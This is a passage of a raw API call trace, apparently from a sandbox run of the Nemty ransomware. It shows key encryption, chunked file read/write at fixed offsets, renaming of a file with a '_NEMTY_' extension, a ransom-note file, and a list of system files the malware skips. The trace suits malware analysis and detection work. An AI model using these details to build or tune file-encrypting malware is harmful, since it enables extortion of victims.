Size=0x40) returned 0x6345e38 [0092.631] GetLastError () returned 0x5 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.631] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.631] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.631] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0092.631] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="6G5NKKK3tKnk+iqT5nWCjhHRXEn3IGbHb2Bx8WQzL6lNdu+29zBoPA5T+3g/PnvS\r\nw6sZ2Hd8DKo2RRk7XeUoY/Q0rf0kEvyjjC0m8rNdkV+a0wY4JaA+JThogcAHpRNS\r\nj8gxEdcIfi/t0Df+aBnvPUi2dLab/8oXikZdOUrc3xbn9nGtJwM/zN6mNTz5/6ZH\r\n3aWuZ1Vph+XL/+WmQs5vJHzuhwcJbPqlXhc6kn4v+DkhVA33XiJ6/dg28B2OMrQb\r\n3/KMon7a2eZJk9xVOoTU5MATUVFa5hrjzKfds7IRWlmGCz9TVivj+tz3p/D/mE7O\r\ndfsTVTTR6tTDkeVDkki/mg==\r\n", pcchString=0x653e91c) returned 1 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.631] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.632] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0092.744] CloseHandle (hObject=0xffffffff) returned 0 [0092.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0092.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0092.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.745] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png._nemty_kgobjgd_")) returned 0 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0092.745] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0a7070, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xea0a7070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xea0a7070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0092.745] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0092.746] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.746] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0a7070, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xea0a7070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xea0a7070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0092.747] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0092.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0092.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0092.747] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Travel", cAlternateFileName="")) returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2=".") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="..") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="...") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="windows") returned -1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="$RECYCLE.BIN") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="rsa") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="NTDETECT.COM") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="ntldr") returned 1 [0092.747] lstrcmpiW (lpString1="Travel", lpString2="MSDOS.SYS") 